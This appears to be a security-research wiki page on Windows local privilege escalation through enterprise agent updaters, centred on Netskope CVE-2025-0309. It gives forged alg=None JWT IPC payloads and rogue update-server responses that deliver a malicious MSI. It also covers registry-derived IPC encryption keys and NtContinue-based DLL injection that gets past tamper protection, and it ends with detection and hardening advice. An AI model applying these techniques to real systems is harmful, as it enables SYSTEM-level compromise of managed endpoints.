Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)

Reading time: 7 minutes

This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs.

Key ideas you can reuse against similar products:

• Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server.
• Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
• Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties.
• If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry.
• If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch.

1) Forcing enrollment to an attacker server via localhost IPC

Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.

Observed in Netskope:

• UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
• IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN

Exploit flow:

1. Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
2. Send the IPC message invoking the provisioning command with your JWT and tenant name:

{
  "148": {
    "idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
    "tenantName": "TestOrg"
  }
}

3. The service starts hitting your rogue server for enrollment/config, e.g.:

• /v1/externalhost?service=enrollment
• /config/user/getbrandingbyemail

Notes:

• If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).

2) Hijacking the update channel to run code as SYSTEM

Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:

1. /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:

{
  "clientUpdate": { "updateIntervalInMin": 1 },
  "check_msi_digest": false
}

2. /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
3. /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.

Bypassing common checks seen in the wild:

• Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
• CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
• Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.

Result: the SYSTEM service installs your MSI from C:\ProgramData\Netskope\stAgent\data*.msi executing arbitrary code as NT AUTHORITY\SYSTEM.

3) Forging encrypted IPC requests (when present)

From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:

• Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
• IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID

Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.

4) Bypassing IPC caller allow‑lists (path/name checks)

Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).

Two practical bypasses:

• DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
• Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.

5) Tamper‑protection friendly injection: suspended process + NtContinue patch

Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:

• Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
• Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE

A reliable user‑mode loader that respects these constraints:

1. CreateProcess of a vendor binary with CREATE_SUSPENDED.
2. Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
3. Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
4. ResumeThread to trigger your stub in‑process, loading your DLL.

Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.

6) Practical tooling

• NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
• UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary.

7) Detection opportunities (blue team)

• Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
• Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData<vendor><agent>\data*.msi.
• Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
• Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.

Hardening tips for vendors

• Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
• Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
• Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
• Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.

References

• Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)
• NachoVPN – Netskope plugin
• UpSkope – Netskope IPC client/exploit
• NVD – CVE-2025-0309